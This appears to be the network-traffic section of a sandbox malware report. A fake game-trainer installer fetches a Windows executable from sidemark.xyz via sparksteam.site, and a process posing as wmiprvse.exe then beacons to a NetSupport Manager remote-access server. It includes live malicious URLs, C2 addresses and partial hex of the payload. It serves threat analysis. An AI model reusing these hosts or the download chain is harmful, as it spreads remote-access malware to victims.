Dec 6, 2023 14:34:09.349328041 CET	1.1.1.1	192.168.2.5	0xc9ab	Name error (3)	115.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:09.828716040 CET	1.1.1.1	192.168.2.5	0x9721	Name error (3)	113.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:09.969491005 CET	1.1.1.1	192.168.2.5	0xba0f	Name error (3)	112.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:10.017132998 CET	1.1.1.1	192.168.2.5	0xa845	Name error (3)	110.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859433889 CET	1.1.1.1	192.168.2.5	0x890e	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859433889 CET	1.1.1.1	192.168.2.5	0x890e	No error (0)	clients.l.google.com		142.251.16.138	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859433889 CET	1.1.1.1	192.168.2.5	0x890e	No error (0)	clients.l.google.com		142.251.16.113	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859433889 CET	1.1.1.1	192.168.2.5	0x890e	No error (0)	clients.l.google.com		142.251.16.139	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859433889 CET	1.1.1.1	192.168.2.5	0x890e	No error (0)	clients.l.google.com		142.251.16.101	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859433889 CET	1.1.1.1	192.168.2.5	0x890e	No error (0)	clients.l.google.com		142.251.16.102	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859433889 CET	1.1.1.1	192.168.2.5	0x890e	No error (0)	clients.l.google.com		142.251.16.100	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.859795094 CET	1.1.1.1	192.168.2.5	0x32f0	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.21.52.223	80	5240	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:00.564606905 CET	267	OUT	GET /ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ==&sub=&ps=655ed8e14a15c HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: sparksteam.site
Dec 6, 2023 14:33:01.209007978 CET	916	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:33:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive X-Powered-By: PHP/5.4.16 Cache-Control: no-transform, no-cache, must-revalidate Pragma: no-cache Expires: Sat, 26 Jul 1997 05:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WFGhYHhdnCx1b3TedMNxn7xsh2rV5gfZ0yaKDNMdkcFVnbX6Amwih2l2ZuniGERQxTjb1oqrbqzaoR6unTZqpkxmDihnqDqSd6l7P6%2B5k2N3M5XSsArM%2Bt9jANcFdtF7mo0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8314e5eecf76205d-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 68 74 74 70 3a 2f 2f 73 69 64 65 6d 61 72 6b 2e 78 79 7a 2f 70 65 2f 62 75 69 6c 64 49 4e 2e 70 68 70 3f 73 75 62 3d 26 73 6f 75 72 63 65 3d 33 38 39 30 26 73 31 3d 34 37 36 37 30 31 30 30 26 74 69 74 6c 65 3d 63 6d 6c 32 5a 58 49 74 59 32 6c 30 65 53 31 79 61 58 5a 68 62 43 31 7a 61 47 39 33 5a 47 39 33 62 69 31 30 63 6d 46 70 62 6d 56 79 4c 54 45 31 4c 58 59 78 4c 54 67 74 4c 6d 56 34 5a 51 25 33 44 25 33 44 26 74 69 3d 31 37 30 31 38 36 39 35 38 31 Data Ascii: http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701869581
Dec 6, 2023 14:33:04.002224922 CET	157	OUT	GET /pill.php HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: sparksteam.site
Dec 6, 2023 14:33:05.014228106 CET	651	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:33:04 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cunHKBJ3wOj18ZSQHFAIKYJ120KGieVd9mqt8V7rGYAbrwADkjN8oy3bOfi%2F5q43XKwuJ3PKU3AQla5z3tI2uBrjDbPQ%2Bxqf93lGNGBCrXKFxqWFmagITCwpkSgDb1Cjlw8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8314e6044f21205d-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	104.21.73.195	80	5240	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:01.522250891 CET	278	OUT	GET /pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701869581 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: sidemark.xyz
Dec 6, 2023 14:33:03.386810064 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:33:03 GMT Content-Type: application/force-download Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.28 Content-Disposition: attachment; filename="65707801b8947_pe.exe" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KBE8RoeuYz%2Fehhh%2BaZYbGWyko9TJZ1j92aVxMN30%2B5vA86leZHxhPv4cM2ywUaT%2FgoFnN64nhCd1Y9znKZd%2B8UTPKP9bvEzImdLX5sdWGZ0OVob5ix%2FLULeLCUNsDoQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8314e5f4cada576c-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 37 64 30 62 0d 0a 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 18 f2 ec 63 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 52 0b 00 00 5e 01 00 00 00 00 00 ec 5e 0b 00 00 10 00 00 00 70 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 06 00 00 00 06 00 01 00 00 00 00 00 00 80 0d 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 40 0c 00 9a 00 00 00 00 20 0c 00 dc 0f 00 00 00 70 0c 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 22 0c 00 54 02 00 00 00 30 0c 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 39 0b 00 00 10 00 00 00 3a 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 88 16 00 00 00 50 0b 00 00 18 00 00 00 3e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 37 00 00 00 70 0b 00 00 38 00 00 00 Data Ascii: 7d0bMZP@!L!This program must be run under Win32$7PELcR^^p@@@@ p`"T0.text9: `.itextP> `.data7p8
Dec 6, 2023 14:33:03.386840105 CET	1340	IN	Data Raw: 56 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 e8 6d 00 00 00 b0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 dc 0f 00 00 00 20 0c 00 00 10 00 00 00 8e 0b Data Ascii: V@.bssm.idata @.didata0@.edata@@@.tlsP.rdata]`
Dec 6, 2023 14:33:03.386861086 CET	1340	IN	Data Raw: 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 05 00 0b f4 ca 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 Data Ascii: 1@D2@D3D4@&op_Equality@@@Left@@Right\|K&op_Inequality@@@Left@@Right\|KEmpty@@\|KCreate@@Data@BigEndian\|KCreate@@
Dec 6, 2023 14:33:03.387182951 CET	1340	IN	Data Raw: 00 fd ff 32 1f 40 00 4a 00 fe ff 5e 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 5c 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 88 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 5c 40 00 04 46 72 65 65 03 00 00 00 Data Ascii: 2@J^@MTObject&\@Create@Self$\@Free@Self)\|KDisposeOf@Self>\@InitInstance@Self@Instance/L]@CleanupInstance@
Dec 6, 2023 14:33:03.387346029 CET	1340	IN	Data Raw: 6a 02 00 02 00 2b 00 b8 5d 40 00 0b 47 65 74 48 61 73 68 43 6f 64 65 03 00 9c 10 40 00 08 00 01 08 88 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 14 60 40 00 08 54 6f 53 74 72 69 6e 67 03 00 b8 12 40 00 08 00 02 08 88 1f 40 00 00 00 04 53 65 Data Ascii: j+]@GetHashCode@@Self3`@ToString@@Self@@[`@SafeCallException(@@Self@ExceptObject@ExceptAddr1,`@AfterConstruction@Self10`
Dec 6, 2023 14:33:03.387485981 CET	1340	IN	Data Raw: 5c 40 00 a4 5c 40 00 d8 5c 40 00 00 00 02 00 a6 22 40 00 44 00 f4 ff db 22 40 00 44 00 f4 ff 00 00 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 35 00 18 7c 4b 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 02 08 20 23 40 00 00 00 04 53 65 6c Data Ascii: \@\@\@"@D"@DHPPGENAttribute5\|KCreate #@Self@ADataD\W@Create #@Self@AFlag@AData$#@HPPGENAttribute"@ @SystemT#@PMonitorT$@h#@
Dec 6, 2023 14:33:03.387619019 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 6c 27 40 00 08 00 00 00 00 00 00 00 b0 26 40 00 f4 27 40 00 78 27 40 00 00 00 00 00 00 00 00 00 dc 28 40 00 f4 27 40 00 1b 28 40 00 00 00 00 00 39 28 40 00 10 00 00 00 10 17 40 00 b0 5d 40 00 b8 Data Ascii: Fl'@&@'@x'@(@'@(@9(@@]@]@`@`@@@4`@(`@@\@\@@FRefCount!@\@K(@J\|(@J(@KTInterfacedObject1@AfterConstruction
Dec 6, 2023 14:33:03.387692928 CET	1340	IN	Data Raw: 02 00 00 11 40 00 08 00 00 00 02 09 56 44 69 73 70 61 74 63 68 02 00 28 13 40 00 08 00 00 00 02 06 56 45 72 72 6f 72 02 00 58 12 40 00 08 00 00 00 02 08 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 Data Ascii: @VDispatch(@VErrorX@VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@V
Dec 6, 2023 14:33:03.387768984 CET	1340	IN	Data Raw: 74 02 00 34 29 40 00 0c 00 00 00 02 09 55 6e 69 74 4e 61 6d 65 73 02 00 02 00 00 00 00 a8 31 40 00 11 13 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 42 79 74 65 3e 01 00 00 00 00 00 00 00 11 00 00 00 b4 10 40 00 06 53 79 73 74 65 6d b4 10 40 00 02 Data Ascii: t4)@UnitNames1@TArray<System.Byte>@System@1@TArray<System.Char>L@SystemL@2@TArray<System.Integer>@System@T2@PLibModuleh2@l2@TLibModule
Dec 6, 2023 14:33:03.387866974 CET	1340	IN	Data Raw: 00 8b c0 ff 25 80 23 4c 00 8b c0 ff 25 6c 23 4c 00 8b c0 ff 25 44 24 4c 00 8b c0 ff 25 14 23 4c 00 8b c0 ff 25 64 23 4c 00 8b c0 ff 25 20 23 4c 00 8b c0 ff 25 84 23 4c 00 8b c0 ff 25 40 23 4c 00 8b c0 ff 25 30 23 4c 00 8b c0 ff 25 d4 24 4c 00 8b Data Ascii: %#L%l#L%D$L%#L%d#L% #L%#L%@#L%0#L%$L%#L%D#L%,#L%#L%#L%x#L%"L%$L%$L%($L%#L%d$L%\|$L%X$L%$L%T#Lh 0LYZ$PRQh0L@
Dec 6, 2023 14:33:03.387999058 CET	1340	IN	Data Raw: 0f 83 67 ff ff ff c3 90 90 ba f0 ff ff ff 23 50 fc 81 fa 30 0b 00 00 72 12 e8 0f ff ff ff a1 ec ba 4b 00 ba f0 ff ff ff 23 50 fc 8b 0d f0 ba 4b 00 29 c8 01 ca eb b9 c3 90 53 56 8b d8 e8 8b ff ff ff 6a 04 68 00 10 00 00 68 f0 ff 13 00 6a 00 e8 54 Data Ascii: g#P0rK#PK)SVjhhjTtNKKKJ+5K+K^[3K3^[=YKt?*=Ku!j3xKtj3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49719	51.142.119.24	80	6024	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:18.352473974 CET	172	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:33:18.963184118 CET	389	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=utf-8 Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * Set-Cookie: ASPSESSIONIDASCAQTDA=AACDKNODMJHMEPAEJLPIDJLM; path=/ X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Date: Wed, 06 Dec 2023 13:33:18 GMT Content-Length: 16 Data Raw: 33 38 2e 39 30 37 32 2c 2d 37 37 2e 30 33 36 39 Data Ascii: 38.9072,-77.0369

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49718	95.142.47.11	1203	6024	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:18.378297091 CET	270	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 95.142.47.11Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Dec 6, 2023 14:33:18.591708899 CET	269	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.3 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 61Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \W&=@Q{w}oXxf Data Raw: Data Ascii:
Dec 6, 2023 14:33:18.594446898 CET	473	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 225Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raLqZD-'?}##rtr5=Ifp">0MQYz8?V{r?(+j}[e0=@L\#=J8e6Qz8A ] Data Raw: Data Ascii:
Dec 6, 2023 14:33:18.808566093 CET	360	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.3 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 152Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~G}&[}X),,Dq,()4]%y-A9H=n :!b<DWiJCz:;<=J&$Rb'h[TjI Data Raw: Data Ascii:
Dec 6, 2023 14:33:18.908165932 CET	324	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$CZeN>j"Bml` Data Raw: Data Ascii:
Dec 6, 2023 14:34:11.439142942 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:24.274035931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:26.388926029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:26.690031052 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:26.795017958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:26.895029068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:26.996088028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.097031116 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.197016954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.298074961 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.397988081 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.498547077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.598927021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.700120926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.799945116 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:27.902318001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.002963066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.102981091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.203917980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.304975986 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.406130075 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.511954069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.612948895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.712990999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.812930107 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:28.913989067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.015103102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.115972042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.216931105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.318109035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.419044018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.519979000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.621829033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:29.722940922 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
